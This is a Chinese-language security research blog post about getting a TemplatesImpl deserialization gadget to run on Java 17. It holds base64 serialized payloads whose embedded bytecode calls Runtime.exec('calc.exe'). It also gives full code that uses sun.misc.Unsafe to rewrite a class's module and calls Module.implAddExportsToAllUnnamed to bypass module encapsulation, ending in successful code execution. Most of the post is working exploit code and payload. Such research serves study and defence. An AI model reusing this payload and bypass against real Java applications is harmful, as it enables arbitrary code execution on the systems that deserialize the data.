前言
好奇,模块化会不会影响对象的反序列化。
测试代码
同样是用TemplatesImpl类做测试,由于Java17环境下不能跨模块实例化构造序列化数据,所以先在Java8环境下生成好序列化数据,然后在Java17环境下进行反序列化:
byte[] bytes = Base64.getDecoder().decode("rO0ABXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAmPK/rq+AAAANAAjCgADAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAG0xvcmcvZXhhbXBsZS9UZXN0SmF2YXNzaXN0OwEAClNvdXJjZUZpbGUBABJUZXN0SmF2YXNzaXN0LmphdmEMAAUABgEAGW9yZy9leGFtcGxlL1Rlc3RKYXZhc3Npc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwATAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFQAWCgAUABcBAAhjYWxjLmV4ZQgAGQEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABsAHAoAFAAdAQANU3RhY2tNYXBUYWJsZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACAKACEADgAhAAIAIQABAAQAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3ACKxAAAAAgAIAAAABgABAAAABQAJAAAADAABAAAABQAKAAsAAAAIABIABgABAAcAAAAkAAMAAgAAAA+nAAMBTLgAGBIatgAeV7EAAAABAB8AAAADAAEDAAEADAAAAAIADXB0AANQd25wdwEAeA==");
try {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
Object obj = ois.readObject();
System.out.println(obj.getClass().getName());
}catch (Exception e) {
e.printStackTrace();
}
输出结果:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
说明虽然Java对跨模块生成对象进行了限制,但是貌似这种限制只体现在newInstance等显式构造代码中,而反序列化中隐含的对象生成途径没有进行限制。
简单试下反射调用函数进行类加载:
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
Object obj = ois.readObject();
System.out.println(obj.getClass().getName());
Method method = obj.getClass().getDeclaredMethod("getOutputProperties");
System.out.println(method.getName());
method.invoke(obj);
报错,看来除了不仅是实例化时候的构造函数调用,跨模块反射调用普通的函数也会被拦截。
但是我们已经获得了一个TemplatesImpl实例,可以尝试通过Unsafe改写Module进行绕过,但是直接套用原代码时遇到了问题,TemplatesImpl类中不存在名为module的属性。
为了解决这个问题,先研究一下跨模块反射的拦截点,调试找到Reflection类的verifyModuleAccess函数,发现TemplatesImpl中确实存在为java.xml的module,那么问题应该出在getDeclaredField上面,由于module定义在Class中,而TemplatesImpl.class中只保存了TemplatesImpl相关的属性信息,没有module所以无法获取。
再回头看看源代码:
unSafeClass.getAndSetObject(currentClass, addr, baseModule);
将待运行代码所属的module改为了baseModule,baseModule即java.base的module,而报错为:
class org.example.Main (in module java.base) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml)
说明问题只是baseModule与TemplatesImpl所属的java.xml这个module不符合,因此解决方法很简单,只需要把baseModule换成TemplatesImpl的所属module就行了:
byte[] bytes = Base64.getDecoder().decode("rO0ABXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAmPK/rq+AAAANAAjCgADAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAG0xvcmcvZXhhbXBsZS9UZXN0SmF2YXNzaXN0OwEAClNvdXJjZUZpbGUBABJUZXN0SmF2YXNzaXN0LmphdmEMAAUABgEAGW9yZy9leGFtcGxlL1Rlc3RKYXZhc3Npc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwATAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFQAWCgAUABcBAAhjYWxjLmV4ZQgAGQEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABsAHAoAFAAdAQANU3RhY2tNYXBUYWJsZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACAKACEADgAhAAIAIQABAAQAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3ACKxAAAAAgAIAAAABgABAAAABQAJAAAADAABAAAABQAKAAsAAAAIABIABgABAAcAAAAkAAMAAgAAAA+nAAMBTLgAGBIatgAeV7EAAAABAB8AAAADAAEDAAEADAAAAAIADXB0AANQd25wdwEAeA==");
try {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
Object obj = ois.readObject();
System.out.println(obj.getClass().getName());
Method method = obj.getClass().getDeclaredMethod("getOutputProperties");
System.out.println(method.getName());
Class<?> unSafe=Class.forName("sun.misc.Unsafe");
Field unSafeField=unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass = (Unsafe) unSafeField.get(null);
Class<?> currentClass= Main.class;
long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass, addr, obj.getClass().getModule());
method.invoke(obj);
}catch (Exception e) {
e.printStackTrace();
}
但是计算器没有弹出,再调试一下TemplatesImpl类,报错:
superclass access check failed: class org.example.TestJavassist (in unnamed module @0x2437c6dc) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x2437c6dc
说明Java17的序列化方式也发生了变化,添加了module相关的序列化数据,又或者只是单纯从package里面获取所属module,简单尝试一下,排除第二个可能,想要解决这个问题只能先了解一下Java17的类字节码数据了。
首先给自己的项目定义一个module,在源码根目录下新建一个module-info.java:
module java17.unserialization {
requires jdk.unsupported;
}
简单定义一个对象用于观察,结果发现字节码数据中没有module的相关信息,在Google上搜索一下,也没有找到什么有用的方法。
转换一下思路,如果无法从字节码中定义module,那我们还可以考虑修改TemplatesImpl的module,想办法让他接受unnamed module,而Module类属于java.lang包下,所以我们还有机会对其进行修改。
简单看一下Module源码,发现其中存在一个ALL_UNNAMED_MODULE属性,或许可以用来将java.xml配置为向所有unnamed module开放,继续阅读源码寻找合适的方法调用,找到implAddExportsToAllUnnamed方法:
void implAddExportsToAllUnnamed(String pn) {
implAddExportsOrOpens(pn, Module.ALL_UNNAMED_MODULE, false, true);
}
其方法描述为:
Updates this module to export a package to all unnamed modules.
API Note:
Used by the --add-exports command line option.
该命令的含义为:
--add-exports <source-module>/<package>=<target-module-list>
用于将该module导出到其他module中,看起来能让unnamed module访问java.xml,应该可以成事:
Module module = obj.getClass().getModule();
System.out.println(module.getName());
Method addReadsAllUnnamed = module.getClass().getDeclaredMethod("implAddExportsToAllUnnamed", String.class);
addReadsAllUnnamed.setAccessible(true);
addReadsAllUnnamed.invoke(module);
System.out.println("Maybe ok.");
试一下,发现报错:
Unable to make void java.lang.Module.implAddExportsToAllUnnamed(java.lang.String) accessible: module java.base does not "opens java.lang" to unnamed module @69d0a921
看来需要跟访问ClassLoader一样先修改一下main函数的所属module,最后的完成版本:
byte[] bytes = Base64.getDecoder().decode("rO0ABXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAnTK/rq+AAAANAAhCgADAA0HAA4HAA8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANkxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9UZXN0OwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAQABQEANGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAEQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABMAFAoAEgAVAQAIY2FsYy5leGUIABcBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAZABoKABIAGwEADVN0YWNrTWFwVGFibGUBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAeCgAfAA0AIQACAB8AAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAILEAAAACAAcAAAAGAAEAAAADAAgAAAAMAAEAAAAFAAkACgAAAAgAEAAFAAEABgAAACQAAwACAAAAD6cAAwFMuAAWEhi2ABxXsQAAAAEAHQAAAAMAAQMAAQALAAAAAgAMcHQAA1B3bnB3AQB4");
try {
// 从字节码中反序列化获得一个TemplatesImpl对象
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
Object obj = ois.readObject();
System.out.println(obj.getClass().getName());
Method method = obj.getClass().getDeclaredMethod("getOutputProperties");
System.out.println(method.getName());
Class<?> unSafe=Class.forName("sun.misc.Unsafe");
Field unSafeField = unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass = (Unsafe)unSafeField.get(null);
Class<?> currentClass = Main.class;
long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
// 调整module贴合java.lang,调用Module.implAddExportsToAllUnnamed函数
Module baseModule = Object.class.getModule();
unSafeClass.getAndSetObject(currentClass, addr, baseModule);
Module module = obj.getClass().getModule();
System.out.println(module.getName());
Method addReadsAllUnnamed = module.getClass().getDeclaredMethod("implAddExportsToAllUnnamed", String.class);
addReadsAllUnnamed.setAccessible(true);
addReadsAllUnnamed.invoke(module, "com.sun.org.apache.xalan.internal.xsltc.runtime");
System.out.println("Maybe ok.");
// 调整module贴合java.xml,调用Module.getOutputProperties函数
unSafeClass.getAndSetObject(currentClass, addr, obj.getClass().getModule());
method.invoke(obj);
}catch (Exception e) {
e.printStackTrace();
}
计算器正常弹出,尝试成功了。